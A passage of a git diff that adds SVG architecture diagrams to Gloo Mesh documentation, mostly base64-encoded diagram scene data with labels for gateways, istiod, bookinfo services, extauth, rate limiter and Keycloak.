i4t+Hfg8i20LDE1XHUwMDA0tGl6ijGRpocl9pFvcFx1MDAxM1wioFx1MDAxN6gpPMSV8rZ9XG4l4PB5ppO4yZzET1L1m45cdTAwMWNcclx1MDAxZlH51X9SSGlp6sJwgL3SnVx1MDAwZvt7UtJh0qRcciPYTIlcdTAwMDFcdTAwMDFvQ7ztL0rKStzmOvbS9daEmztKwFPPXHUwMDExhCw1yUmhpVvwXHUwMDAxXFw0pVx1MDAxYlx1MDAxOFhAcCZcdTAwMDBcclx1MDAxNFx1MDAwN6jxhVx1MDAxMFAkTNNcdTAwMWLTVJNcdTAwMDG8Y/amN1x1MDAxYmE35lBjOFx1MDAwMfvNajX6xbZcdTAwMDOnUtNGT1JcdTAwMDb6nHNvalx1MDAxMjdF8JH8t0eAXHUwMDA2XHUwMDFmL8xcdTAwMDMljFx1MDAxOJ5VhDFdnWFtfCPJJUcmqVx1MDAwYlx1MDAwM5RcdTAwMTKYrSndKvSphlx0QpnxyeXlybjfu6dcdCt8XHUwMDAzycaJqZlcdTAwMDV0JSX1ijdhWixQYHpcdTAwMDU/4d5cdTAwMDOPb7fS9+xdL2lvXHUwMDBmu9nL1ZrWXHUwMDBmplglWqFebWBcdTAwMWNANMVcdTAwMWIoXHUwMDEzU1x1MDAwMspkilx1MDAxMZMvttD63CA7yiU1x6SAZO3FXHUwMDBi926aYm068IEg+ZfbpqHFXHUwMDFiSDdtXHUwMDEyh5kyTSq1KUHrZ1x1MDAwNkqhXHSRyCSQyDVl21xuMfcmlpia8siwXHUwMDFjXHUwMDA0XHUwMDBiz4S0XHUwMDAzXHUwMDA0XHUwMDAwspaZJEWNsDeZ6NssPXKJtsCTbk3saeWg8KRcdTAwMTAr9FwiXG7uXHUwMDE0XHUwMDFiVfc4WCWmXHUwMDFlXHSoXHUwMDE2YV5cdTAwMTcyy0GgOVx1MDAxY6xcdTAwMWJh6piYqnVW8Vx1MDAxNqY2q028XHUwMDExpFx1MDAxY+K6mF89blwiXHUwMDFj7b5cXGXxf5qmVGowxlQ0XHUwMDBmv+/v7lx1MDAwNqNMqdpu3JTyI5pcdTAwMWSNb47dzY092vj3O8GHXFx76sS+Ps9cdGSPXHUwMDAxY9TkT7tcdTAwMGatljHd6ctDKlHDd7Hz68FVMU46Q/acX1x1MDAwN1EsdlnYJcuRgMBrXHUwMDAyYFwiJMuFSFxi/q9SlZUqJS/LrVx1MDAxN19cIkxdfo1cIlx1MDAxYXhcdTAwMWS7rVa671x1MDAxN/Ep01x1MDAwZvn2e/f+eFDLfseXbCu+ZEfL+z3sLoZdXHUwMDE2quD/wC/QXHK2UFx1MDAwNYHtfVFcdTAwMDBcdTAwMTRcbmpqfIRWXHUwMDBiwetcdTAwMTlZLEZcdTAwMDNCg8HYplx1MDAwZVxupVx1MDAxOFx1MDAxNoNcbndcdTAwMTWrIIRCSCwv5fOvilVcdTAwMDBLr1x1MDAwZrM7+qdTh1x1MDAwN46Lky9cclNYgndcdTAwMTbDXHUwMDE0fk3211Q3gG3cWslFmVx1MDAwNrjG+Vx1MDAxYpo9XHUwMDBiN48tJu6u2zeZt9woWU69n73VXCKP2mhcdTAwMDBzMk4ji9qkcVx1MDAwZSokd5f/u1x0anu6ur9tZrLd0/ioWFKdY6FcdTAwMDcuXHUwMDFm0lx1MDAxY4F+o7bVx93R8u5oWPzQKYvyQ6H0Us2foZNE9lx1MDAxNI2v/rhVOJRhl4FM/1x1MDAwN+5cdTAwMTNkKvthLVKEaSRw+NOM4PWMLMgkKlCP6YiBTGaq9JlYhT9cdGRWi4PhuDpcdTAwMTjuXHRlLsFniyjz92w3h5lKWD3ylFx1MDAwMnVcIrRCf/Tkzf396Gz6ICqF9KiPSle1Vs5W4zg6XGaq+KxcdTAwMDNcdTAwMTAxfSPgddEjP2vPp01BJoU1XHRoXHUwMDBlu3eHvKnnMes7XHUwMDE0TeC5K4/8oyD19H0zg1SRT8tnhDRxf1x1MDAxYkk991widXybK7JyXHUwMDFk5vuS+rjqXHUwMDE21HGUPf3SzstYaM25piv0rEj27sXo40PdyUT8/Fx1MDAxNV2+XHUwMDBlnuNr9T38QptRSeFgriRF5pUslCynlIZj5TAmIyGqVPVcdTAwMGL7XFzLZGRcdTAwMDLIgu4x8TuIXHUwMDExspmaKGYuzzMvz6X6x2mq1Fx1MDAxY15YXHUwMDE47NtiXFx93Fx1MDAxZC3v97BcdTAwMDc07DLLzv+BX6BwbJadVGjxr581XHUwMDBiXHUwMDA0MqWyafgw3OD1jCxwVDhI23DskDDaZieGXHUwMDFk8aJDbPp9c0X+qNNcdTAwMDP4UVx1MDAxY8Ey+VlzLtfDatbc0N2+YsGUW1x1MDAwMps8ptzP+a2P+lx1MDAxNLJm+1x1MDAxMIZhbclcbtVD7vsnXHKhx9dqfD9Jq1H97jb3ZDvHi1x1MDAwZeiTXHUwMDBlsTtYJI8q6MNMXHUwMDE4X4u7qHWUYF/+7kVVr9RUXHUwMDBmzmm2ctE4eS4+42/Yty3Yt6Pl/Vx1MDAxZfZ72GVo0v+Be0STilvr+lMsXHUwMDA1W6VrSfBqRlx1MDAxN0uSICWmabSwJJ31XHUwMDFh0n9W1Yw+POao1Ww3h5ZaXHUwMDE5a1x1MDAwM8olx1x1MDAwM0tQ2Vwippyb5/rAUkprWTqCqV6o37KMLUns4+Eqq1gqLXvDxtmo8DZcdTAwMWU2I48seYCBx1B0kaXp4G3aXHUwMDA2RVx1MDAxM1lcdTAwMTZcdTAwMWXucjJV/CDnmcdUXSRZb1J/+UaW20KWO1re72G/h93RsMtcdTAwMDCr/1x1MDAwM/dcdFiZvc9cdTAwMWVSjFx1MDAwYi7Cq8bg5YwuYkVBypFEXGaxXHUwMDAyXFwxxZD2eDa+XHUwMDBmxFqtNFx1MDAwN19cblWXwDxcdTAwMGZUnU1wLVx1MDAxNlxmXGKQXHUwMDA26jVp10iG71x1MDAwNXfLs4900p/0KW5fZdsx+fR69bpcdTAwMGU8/TpcdTAwMGU0zey5XHUwMDAzXHUwMDFjJlx1MDAwNNLYXHUwMDFkyDP5XHUwMDAx0alDjUGphVJcdTAwMWNcdHshkDCRKzZ8SqhPWSPpKfVhmodQoXZoLy5LhVx1MDAwZtJne4r08OVtXHUwMDE1lrfrrW73uF1cdTAwMWQ0jouVSrcz+KfTKcKvQEBVX45cdTAwMTfrxq5cdTAwMDWcdsx9i0XeXHUwMDBlmmAgx9vb23JhPXVkSFx1MDAxM6TIXG6prMG7XHUwMDFlUZbHhDiaK4wkYVx1MDAxNLH54lx1MDAxOIRg7CBcbjyPXGJiXHUwMDE0i4DG5Fx1MDAxYvA8XHUwMDA23c6JlJxcdTAwMTLCXHRXPn3JtXBgciB7wFx1MDAwNjVVfrxcdTAwMDEvXFxyjtxNcf+VtTGC1crRQjcySpiCV4WJXHUwMDA0me5qa/2zXHUwMDE2XHUwMDA1d1x1MDAwNNVaI3OMa6Q//nnDitUxgsM05yfFlDYuSWRcdTAwMWGlUYKQT/9H6lxiwjlTXHUwMDEyXGJSI3Xg/Vx1MDAxZo+t1G0uXHUwMDBmXX9cdTAwMGX3l/vn6qJccrbcalFcdTAwMDBs5aDGw/vAr09HYjzGp9MzOS1+JM9p+jiejLpoQ1Q6wpT9MVxy0yVb6P9ITMVa4FxmalqYu6PT1+lcdTAwMDJhk2xcdTAwMWOMXHUwMDE2bVabY0kod0WwfJZsxMJcdTAwMDHjhlxuKU1bTur1vc1K12C+wziLL1x1MDAxNW2LnLhcXL60Klx1MDAxN+e38czdcbXT7E/vz2Pipon95Fx1MDAwYnIowUpJiUw5R4a4V7pcdTAwMTDl6FklYnPkgJHaTlnY/UlcdTAwMTcrhc3e9Vx1MDAxMNeK4mVJqL81UFx1MDAwNFaf61naR2hcdTAwMTGTpY89dIymXHUwMDEz2kX9q+p9l7S0jLaIUUJcdTAwMDbme3PhaFBzXGL/KMJnL1x1MDAwYvv1jWawqUlOXHUwMDE52WPw1u9n+Fx1MDAxOVDDXuWjN2w1Xkjusp+97TePT5r+XHUwMDA21LdDf41MhN0s72FccrurXomHtVxuhzLsMo++/1x1MDAwMz+H9UisnbdKJPZUVc2pXHUwMDAwdIJW8C1cdTAwMDSuZ0Rd+qBcdTAwMWZcdTAwMDNcdTAwMGJlSeawbenHbfj0lcRUwub8UZmqne7wuNmZ+dW+1LG/XHUwMDA07y06/9zTXFxcdTAwMWayXG57XFxcdTAwMTiWXHUwMDE0U0XIXG79SzP8ZZC7aJSv0HNxqPkra79Wi9FcdTAwMGVBmUFWYT9l49ihUiBm/C9cdTAwMWPwu5Ulw8SgbFx1MDAxObJSZfJRVUST2tKP+dvmQ/myry9TibN7ju9cdTAwMWau3zZXpDtcdTAwMWF2V0j44yZ30meNerb/cnrDkolkh9ZcdTAwMWW3MO5bXHUwMDFmn+ZrXHUwMDA1Rbq8Vr3s39VEM75ccrB2WLv2Pewuhl1cdTAwMDYt/Vx1MDAxZlx1MDAxOHK2jfdm9vnqpJR6yj6LSnuIzmNEhiPcL4eswlx1MDAxNWPigaymsitdJd87eJ+iXGZZXHUwMDAz9KNQjtqWftxKXHUwMDE4ilbEXHUwMDE0evnTSvh9PV5dXHUwMDAy9ryF+0JgVSsjansoXG7lM5uJhFx1MDAwZkXpoFTubcJrXHUwMDBmb7JcdTAwMTnrZoh6LdSq68DUL2RDxaRcdTAwMDNQjzBA5ObseZ5ccjFFXHUwMDBlZ+aIS1x1MDAwMWjf1ak084Gl3khcdTAwMTSYhcJcXJNcdTAwMWRW59skXHUwMDE05Wpwcnr9fJWLV6pcdTAwMTdkKFxuXHUwMDA0J9r93etcdTAwMWZf/lx1MDAwZVx1MDAxZIrSXHUwMDE4XHUwMDBle6VmJ3JcdTAwMTEoPvNcbuRv++msYNbSKkxjXHUwMDBlinaFOmbBe1x1MDAxY1FcdTAwMDaXXG5YmFx1MDAxYb9cdTAwMGZAXHUwMDBipudcdTAwMTnc1C8yh7NCzrrm0Fx1MDAwMNfQJlx1MDAxY460w1x1MDAwNDGVQTGlnFx1MDAxMulleKVcdTAwMWNter9cdTAwMTGpseDaXHUwMDFieDLreYGJ3lx1MDAxZvt/SeBJsFx1MDAxMjlaXGI8XHUwMDExXHUwMDE4pDbDgmDQV2RZ4Fx0094mKKFcdTAwMGWG44T0n8qxoixcXD1O1On7+bCQylomJYhcdTAwMDBwJ1xmiNWcXHUwMDEwb5c/glx1MDAxY6JNXHUwMDE3aYa05HCzt1fMQZ1cZtup21xcXHUwMDFluv5cdTAwMWPvL/fPlUVcdTAwMWLDdiOCXHUwMDExzSlA6/DY5aTTeYy1xq2P4zat4n5mevLwYVx1MDAxM22RMVwiNMfI3rKcYCTcfm+7bFx1MDAwYlx1MDAxMcpurTQsXHUwMDFk6bpcdTAwMTTx6Tjl6lx1MDAwMfpTllx1MDAwMWtQilx1MDAxMP2X9M+zR5rMvXNIXFxt3VZzXHUwMDAxy6/IxTZcdTAwMDPEXVx1MDAwYtxcdTAwMTNcdTAwMGJPkcaahC/G81x1MDAxYX/JXFxcdTAwMTfaLJe/UmpUT912XHUwMDFhT7ZQ+OjwMFx1MDAxNsClmiBBZ69cdTAwMGJcdTAwMTZcYmBcdTAwMTNHK6BIXHUwMDAxwlOigFj4XHUwMDEwoVx1MDAxZNZq4T54hIhFptWMIM1cdTAwMTQ91MjXtTxcdTAwMDDv2NdcInCJ2q+xXGLe8XpcdTAwMTY+gHxcdTAwMWKDXHSKlCaUhVeSp/VJrSVcdTAwMWHXyetJalxcXHUwMDE5fFxmr4updORcdTAwMTmMKO5Qwk3XbPNKXHUwMDE2XHUwMDE5jM4pyYDGZVx1MDAxYnBcdTAwMTjxq4vq4TDTWlxyYS12d/BcdTAwMTRFXHUwMDBlI1x1MDAxMeEwsiaHKWu1XHUwMDAxsK7Faq1cdTAwMDFJY9jtd8b3j/VWPP1yLZqdu3zkMypnXHUwMDEx/WBcdTAwMDLYKlx1MDAxMVx1MDAxYlx1MDAxNlx1MDAwYpVSuXtcdTAwMWSGXHRcdTAwMDdcIsZ4jzHOv5/h40RrTjpcdTAwMTeCXGZcdTAwMTLJe/76Nlx1MDAxOPSv7sX4058wR447d6L9MSqSu3rxeqpcdTAwMGabhuRSrFBcdTAwMTGyLONJMq6ksq+Z5M3TxWNq2M9+RJ+DQVx1MDAwMTpE2yxJw8GCU0UoJYJcbrVcdTAwMTNcdTAwMGVcdTAwMGWnI7FiJuCZ/mEw9MCVpLtU4GJJXHUwMDFlgVx1MDAxMVx1MDAxMN1cblx1MDAxNXnQW2v8Mr6NZ1x1MDAwNrRfXHUwMDE1/LiOssPrw2AxqpA2XHKDwZBaXGJSlIp/XHUwMDAxi/lkPPrAUFx1MDAwNYJAwlxc/ihcdTAwMGWjXHUwMDEx4TC6QdihdrnaPKpMUIZcdTAwMDCRhjf35Gny8fXy9Tr5OOpcdTAwMTTKd5f39fR7O+rHPVx1MDAxNDmIf15zTFx1MDAwNpwlXHUwMDFjSoG9TON07Vwio/0nykhcbpsn+Vx1MDAxZeMrgoBp/H74enWHziZ13ms+XHUwMDBmTi9cdTAwMDa90tBcdTAwMWaYRiE68NDyZHa0vIc17K7yZFx1MDAwZWtcdTAwMTX+8GGXxUj6P/BzWI8g3HUsI+gke3aqXHUwMDAyVKe4/DyYXqpzg1x1MDAxNzSi2Fx1MDAxNrQuXHUwMDBm0rqKOmpLWnc7RWAxQHCm/qySWlx1MDAwM4CNlWK/cnTTrfhD3Vx1MDAxZFx1MDAwNTQugZGLXHUwMDAweG6e60NhSa1uWXOYXHUwMDA2y6xXOPnI14ZTnHwslN572Vq2krnKTdVaSeNfmIFcdTAwMDO0ZIJRfmXFzZ97UMpcdLAsXHUwMDAympOEYr1ZXHUwMDFi4i0n4HAkXHUwMDE5lpREM1x1MDAwMYckMv3a1cnksvdQSt5Pb4S4mNY2V6U7XHUwMDFh9jtcdTAwMDHnXHUwMDEwd+172Fx1MDAwM1x1MDAxYXZcdTAwMTlm9X/gXHUwMDFlMauU9qhcdTAwMWKptMKYqPAnXHUwMDFlwetcdTAwMTldyEqDtKPQXHUwMDBl35J23Fx1MDAwZWTllMDGiD8q/Vx1MDAwNlx1MDAxMODRuDlsXHUwMDFjnXfeu/6NjXdcdTAwMDVal1x1MDAwML5F0Low0/VhK1hSNtZcdTAwMDTUipRcdTAwMTIr5I1Xz2R6XHUwMDFjXHUwMDFm6vv+Tbo3md6cXHUwMDE0psLWnS4yXHUwMDBlXFxcIlx1MDAxZPyLK11tq2dsyZiJryZISqKZIHSzYJ3tti6QXHUwMDFjMaWp3l9nkSCld1tRXHUwMDA1naynq5e9OqlUe5nk7ftFdNHloTlwd7S8O1x1MDAxYfZBZ7Wi6u7l9fmyX1fj2OhtbCmDv9IqZJrouC1cdTAwMWJP9y/3V7l30TpcdTAwMTbVRmtcdTAwMGLj3qGyrFx1MDAxN1H/XHUwMDAyP1xm74uJXHUwMDE4SuC3zlx1MDAxNsZcdTAwMTUnIz3J3ORq7cJcdTAwMDdcdTAwMWRcdTAwMTVj+q1xwrcwbmKUPc/dxFx1MDAxZS6fT8SkSj7kS/PSsm3/Yio7lGGXwXf/XHUwMDA37lx1MDAxMb4rZfc4I0WoUZzh4XvwekZcdTAwMTe+k1x1MDAwMJjAlYNDwYQvauKgJVx1MDAxNkrwXHUwMDFkpu5GXHUwMDEwvSda3e5RpjpofLnHeVx07l1cdTAwMDTv81x1MDAxM91cdTAwMDC7M6vLWTNOXHUwMDAxvKtcdTAwMTWCnESvnunU4qfTbmFy2SxeTVpvXHUwMDEzXHUwMDBiW1x1MDAxZVx1MDAwNHbnRMOblCNu+j7wXHUwMDFkZbKs53BGmjCw9mU0sXv8Ma6oyFx1MDAxNV8rZ82n6b3MXHSSL26uSL+x+06X97CG3VnwxUGtwqFcZrs0SsL3gXuErDogSIJIXCIpXHUwMDE2K/Q8XG5ez4OErJxcdEeE0Y5fhFilVFx1MDAxNFx1MDAxM/VHuZtTg2Gz++VgdVx00FtcdTAwMDSrn5NcXItcdTAwMTGVtFZ8UlhRxalcdTAwMGVvOp7m3l/w+Uf8XHUwMDA0Np2knzBcdTAwMWGdqFx1MDAwMzj54cj5zYVELFx1MDAwNishXHUwMDFh7uRn02AlV2Lubz6k3nRcdTAwMTfEmMZcdTAwMTRFXHUwMDE0mj68Zc+L+cZTJpWrd4X6QJPCyzRcdTAwMWNs2ERcdTAwMDf58nnoqk+X1Xq148/krlx1MDAwNImvXHT3/zmX9ZQqtyeuXHUwMDAx6SpQulwiPDM/5PDgvFu8yWdcdTAwMWaL49fHbDHRbUW/eoJkxDHtp0w1XHUwMDFkQuaVKlx1MDAwMf50c/ruXHUwMDAyXHUwMDBmpU/yqVx1MDAxZi9zRFx1MDAwNaZ6f3W/g3i59lJcdTAwMWK8dF/vxJC9XHUwMDE3Lmmym0dxSyn96PDyWas5tyP75OWfc1x05GV7pTZGrNysTHUypWn4PPLgvYyk90hLXHUwMDEzryi0lIJTtlBcdTAwMDZcdTAwMDVheI9cdTAwMGJlgiAklUE9QTc5+CWm7I2QmmOMXHRWLonxWZjRwdL4lLHSJkRRe7icIJi+KSXxL2mjZauJXHUwMDE2rC+O3M2yTPtLpbnUgC+xiS5y3fWzXHUwMDE3XHUwMDFmc4gggiolpMKmLsnPOyyF2lx1MDAwZbau0rGdxszloa7P8f5y/1xcXHUwMDE1Klx1MDAxMGHNv5VcdTAwMTIwMFx1MDAwZm98J6tcdTAwMTcqL29cdTAwMWHTi/xNq5SaPufLp+P1cII1XHUwMDE4ulJcdTAwMWM0qlsus1x1MDAwNCTGXHUwMDA0omZ94XWxVJpiXHUwMDBlglx1MDAxNTdcdFx1MDAxYlx1MDAxNFxm8F15p33yb72VXoEyXHUwMDAwrpBcdTAwMWRC/q/Lv1xyrciLo2FcdTAwMDNcdTAwMTTqtPpPZ9ioXHUwMDFl9atvo+rAX7F/eTlWy9xcdTAwMDI5cclJXHUwMDExs7EjZlx1MDAxY/Sbkjw8cs+WMne52Fx1MDAxMzqPX02eXHUwMDFm8/3XXHUwMDE33XuKuLLHUjv6k1x1MDAxZOfVPaUmn2hr7Ljd7Fx1MDAwNKZcdTAwMTBcdTAwMTIgo6OZnKBcdTAwMWFcdTAwMTdZ8lxceW6op9T0oVa4XHUwMDFmsOSrP4j/PitafdxcdTAwMWQt7/ewOzyC2lWU12Gt7qFcZrvsaMv/gZ/Delx1MDAwNOzuXHUwMDEzgIn9bGvWvVx1MDAwM67w8Dp4QaPqhjP4OUCdc+LwbanzraRTKKBcdTAwMDCt5Vx1MDAxZZX4XHUwMDFlzrcuqpNyq1t89Vx1MDAwNdU7a79cdTAwMTdcZk5cdTAwMTeh9u85XHUwMDA28mKAXHUwMDE3zVxurCXGmislw6dPjNi4Mnm+eWW343g/e90+ezvLdqNv6Vx1MDAxMobtvEgoZ3O8KDfhRXuhKeTDh8rb04RyzJSAfTlQUzekr1xmXHUwMDE3k+nTq1x1MDAxOLs+q1RT5IXmWO8s5tJu7v5cdTAwMDGYgHUomDnR4IK4XG6nXHUwMDFk/XKWUVx1MDAwNymkpNZmglhR+vNcdTAwMDaLr8w2qcFcdTAwMDfFXHUwMDE3tWL5XHUwMDBly1E9Kcbv5WuXI2d+UoSaNlxusFmEwNZcdTAwMTJcdTAwMWZcdTAwMDdcdTAwMWVZOqk13HSLjP6lnjpB/jP3q1j6XHTs3iz4XZGlXHUwMDFmcTHK7HeqPj/yl/vn6qKQW2GJqUrCKNLho1GleFXpt4fcvS7m9cOTjMVf2snIi0KlMVx1MDAwZlx1MDAxMoVcdTAwMDJ9gSiUfpBEc+lo1+Uq9/er35owneF2XHUwMDE5gVx1MDAxM1x0yVx1MDAxOFpcYplusoxLMZOOXHUwMDE05IyPXGaijqtcdTAwMTeGXHUwMDA0kFx1MDAxNyxcdTAwMThcdTAwMGb3XHUwMDEwgfE5qVx1MDAwMZS87CNcdTAwMTTNPcJDfytKXHUwMDFka3iRsKavXHUwMDEyXHUwMDA1XHUwMDAyR1x1MDAwMk2HXHUwMDE2OpcjieRl4lx1MDAxYVx1MDAwNq1ePmSrjD+MclE3hVx1MDAxNJfIoZIxrqgkhC+EJGCQSFx1MDAwNCHCNaNcdTAwMDaR2lvKYSVYMbjhVKApRPzaynmDXHUwMDEygJew4O5cdTAwMWV0h2tcdK3a9+1o3O2/2tu+fXlcdTAwMDCBd1rrqX6gMnv7caGIaYPAwvPhe6vIPmpJys9cdTAwMDbX9GP0fEJcbomyhVx1MDAwZiNyvqCEJFx1MDAwZSh1QFx1MDAwMCDq6EKtXSArXHUwMDA3a1xyeoRRXHUwMDEzkmNX/CGY0Fx1MDAxYU0guCO56fWuQVx1MDAxMmCmfcpbY0RcdTAwMWRcdTAwMDJ3gNCg8CSOPDiAUqkwdkO1g4ZcdTAwMDH2Tkk2gDBttcpcdTAwMGbNWP2+1H6e1PPlbOpucutcdTAwMGZcdTAwMTCoXHUwMDE2XHUwMDAyRKpUhMG+alfLol9cdTAwMDBcdTAwMDE7SmnJiTaxJLD/v9TeRkbK3mCAlcDM5SWtkCr+XHUwMDA3z1x1MDAwN7eTtomgXHUwMDFmTcmQcKgtvpYgJVxcoJu74lx1MDAxMn5cdTAwMDNmpJxcdTAwMWZ9JGav0ufMnINcdTAwMTb9vENxXHUwMDExIFx1MDAwZbaB5bdi32wg5HbM879sXHUwMDBlXHRcdTAwMWIjXHUwMDA0V1x1MDAxZVxm91x1MDAwM75ZVYqBdlqSUK61Rfkyxz3rSJgth+ewuVx1MDAwZsB3cj7JXGZel1x1MDAwZUD0XHUwMDAy9VL3eJRcdTAwMTLHNVx1MDAxYVF06YCgqlx1MDAxZNdcZqica6/o4YSl41nZy1xcjFq/r4euQorK5VwiPvVYvyo9N9tx0lx1MDAxZSfUSJXLXHUwMDE3TeQn4k3LT45cdTAwMTDjQlwiTiRTkrlcdTAwMTbjp5DXXHUwMDBlYVJRREDAc0NFXHUwMDFlXHUwMDE5XHUwMDFmSu9cdTAwMDS34Z7TO0wxsGw4RXxW4JQwz5ykw4XWsHem+LhUyNvxc1x1MDAxZK3yQ3z/9XNP/i72erkhsM/vL/X3e7M6PrVcdTAwMDdE/PVzXHUwMDAyRrxVzVf5n//963//P6lZo3QifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientauthorizethe requestKeycloakhttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg b/gloo-mesh/platform/2-4/default/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg new file mode 100644 index 0000000000..a4287e3dea --- /dev/null +++ b/gloo-mesh/platform/2-4/default/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVdcItuy7vv6XHUwMDE1jjqvm7yzb86botJcYlwi2CDcdVx1MDAwN4NOWulcdTAwMDXxjPPfb0yqSlx1MDAxMshMkk6TKnLvjbtcdTAwMDQjJzNnRHzR/88/Z2c/RtNe9cd/n/2ovpeL7UZlUJz8+I/5/bg6XHUwMDE4NrpcdTAwMWR4i8z+Pey+XHLKs0/WR6Pe8L//z/8p9nrW/K+scvf1519W29XXamc0hM/+X/j32dn/zF5t91x1MDAxYVTLo2Kn1q7O/mD21vx2UrHl3952O7NbY1wiXHUwMDE1XHUwMDE3XHUwMDFjXHT6+YnG8Fx1MDAxMu43qlbg7Zdie1idv2N+9UOOlZg+15+6OpMp4Fx1MDAwNOKVbjQ9v+1Lo92+XHUwMDFmTds/v1ixXFx/XHUwMDFi2Fx1MDAxNjVcdTAwMWNccrqtarZRXHUwMDE51c3dl37/+XfDLmzB/K9cdTAwMDbdt1q9U1x1MDAxZJpcckCfv+32iuXGaGrooPlvf+6C/XPv8C8lKLOI4lx1MDAxMrPZ6+eb5s8p5lx1MDAxNmNcXHNNXHUwMDE0IYTxpWWFu+3uwCzrv5jmiMv5wkrFcqtcdTAwMDar61TmnyFElapi/pnJry9cdTAwMGKUrV93N69CzW9TrzZq9ZH5jMLWfJHwOn8sw+rsiVx1MDAxMKRcYsJcZsn5O2ZcdTAwMDG9WGV+On7SVJdcdTAwMGbZVJM+Xby1efymXHUwMDFmKTTuXHUwMDFlfvx6//8tb3y9OOj92uBcdTAwMWaz72P7juafV8sn0H5cbm2H4yMzvVx1MDAxZSTDscwoXHUwMDFhylxya9ejyeT5+pPWwpEtXHUwMDBlXHUwMDA23cmPz3f+9z9edMOVdGHwkuj3WDzRSyanLTp8XHUwMDE2/uiufOW3XqX483hjwbRQWDKk9JxF2o1OXHUwMDBi3uy8tdvz33XLrTlH/GNb8GasqIQ7K1wihblcdTAwMTbwdH2z4qhcdTAwMWV/nZy/J6bRSWHQXHUwMDFjtsLjq2v0dayIt2RFRiwmXHUwMDA11si8KrnIi0xYXHUwMDFjK42I0JgxXHUwMDBmXkRKvvCSNy9iUlLKiVx1MDAxN5GyiO1iwoFcdTAwMTeJsLT9Ysu8qFxmXHUwMDFmckTxwVhxaP6xJSuW0336kruOZmqVay3uXHUwMDFlnlx1MDAxMiyR2lx1MDAwMyuGUlx1MDAxMZlpIZJcdTAwMWZWwq1SXHUwMDFjRd/wOHyMrMilOytKKVx1MDAxNNHcNycmXHUwMDEzN4NO47w4vH9cYkXbpVqnXcf3gedEJZFFQftLPXtdUYqSYUyYxlRcYkFcdTAwMGWiXHUwMDE0MSFogcuUk1JcXOE8zFx1MDAwNUJcdTAwMTRcdTAwMTEtXHUwMDBmxnq7aMFG8/E5fkGT43ohXHUwMDFlXHUwMDFmplx1MDAxYrnq5KO9XHUwMDA31ruU3YzMX3VahWaqXHUwMDEw4sOXV6L0MbKeXHLXLLGeklJLwpT2zXrtx+tRt3s9fmrpWnSQZtcvnUjgWU9jie2sp1x1MDAxNnmPKZ+89/1KXHUwMDEwOFFcdFx1MDAwMKv6YJz4TUowUFx1MDAxYyNcdHbjXHUwMDE4glxioYT6Z5hoTvVcdTAwMWZvxrXKezzWyYWRvKZcdTAwMGYy8Fxmw7G2XHUwMDAwakkmZq9kgWFAXGZaxFx1MDAxZsPMLk+GXHUwMDE5XHKKnWGvOIDztco0SstFhljlXHUwMDE5pYglbFx1MDAxN19mXHUwMDE54DUpMcfBNOFE7e2ynn16zzWL/VhcdTAwMGVcdTAwMTcuXHUwMDBihXO1XHUwMDA35TUsPupcdTAwMTRuNzIvLJW+eFx1MDAxMDR1S/t7oLuDyVx1MDAxOShcdTAwMTbn1Fx1MDAxZI9cdTAwMTKqqKZcXErfTF7JVNPtSmR4XHUwMDFkvyhcZq9QXGKfd0Qt6ExcdTAwMGWQnFx1MDAwN4LJXHUwMDE1Xc/keJmtNaegyJn6PkxcdTAwMWGMg6yocD3ImGFOtNhAWyVvy0mRmk7L70J86M6LeJ1e3Vx1MDAwNv4gKy0s5WZZMXY86Fx1MDAwZWnG4UhcdTAwMWZOVVx1MDAwNdHF8aeoXHUwMDE0IVxc7SymXHUwMDE5UVxiU/9cdTAwMWGldnfxOHh8eU8+1FqXd7XndknEU1/HiNv6/fFMoygkkVx1MDAxMEov2lmCYoszIVx1MDAxMFfwtpaHcfxjKdhcdTAwMDKb0VVOpDZcdTAwMWTz28eBXHUwMDA00lx1MDAwNFPKXHUwMDBmxnu7wMSb+E08d1x1MDAxMZaF5nu+2UuGp1x1MDAwM8GujpBHOOduPKI4xYIq5p9HknX6RC7yuYvk9UDmapnrt4tBNujKSlx1MDAwM650R12CK7+oa1x1MDAwN20lXHUwMDExWoe4MFlBXFxCY1x1MDAwMiqWnHxcdTAwMGZcdTAwMDfVXCLUNWYlpYmBKOY/ZJVcdTAwMTaYVlqj2kRXLiOp27tkf3j7cFx1MDAwNFx1MDAxY6LcOVx1MDAwNFx1MDAwZaBcdTAwMDVcdTAwMDaaQlx1MDAxY1x1MDAxOElcdTAwMTJcdTAwMWL+3zOHOFx1MDAwMDhcdTAwMDB5yH6txIux1lgrzlx1MDAwMlx1MDAxYaRK1sehRDjZqIYuXHUwMDFmi1x1MDAxZrX3RCHRXHUwMDFmXHUwMDFlIY9w6WrzXHUwMDAwemb+syvqtFCeZuSlTlx1MDAwZlx1MDAxMyn2Uq6nXHUwMDEyaeHCXHUwMDFmS+d8kTvY13FcdTAwMDfWzJ07qFx1MDAxMj6tXHUwMDFkJUhVl725o1RlpUrJXHUwMDAxY1x1MDAwMcRyYYRPZuGrXHUwMDEwXHUwMDBiTFx1MDAxYoZcdTAwMDBnXHUwMDA1kzkuXHUwMDFhyUTkgZGOjpWKrWjuLl3UXWfmXHUwMDE4Vd9Hfq1cdTAwMWI5apSG1Vx1MDAwZkXiz4328+tLqPpM2Vx1MDAxZaymq0I6jJMsPumWkvjueaRvou/3e6BbXHUwMDFll1wi8rJz0Xxo0HtcdTAwMTWdPjTDV6U90D3Q9p7IXHUwMDFhXHUwMDBienh+TlLTiyd1UcelVu0pVbjHwX1mydbNy+1r+uNjejM5r7zmOvSug3Za7sIq/uP3i3yfdltYpz/FRlx1MDAxMKdKS+Q/S8L76Vx1MDAwNVx1MDAxNfxcdTA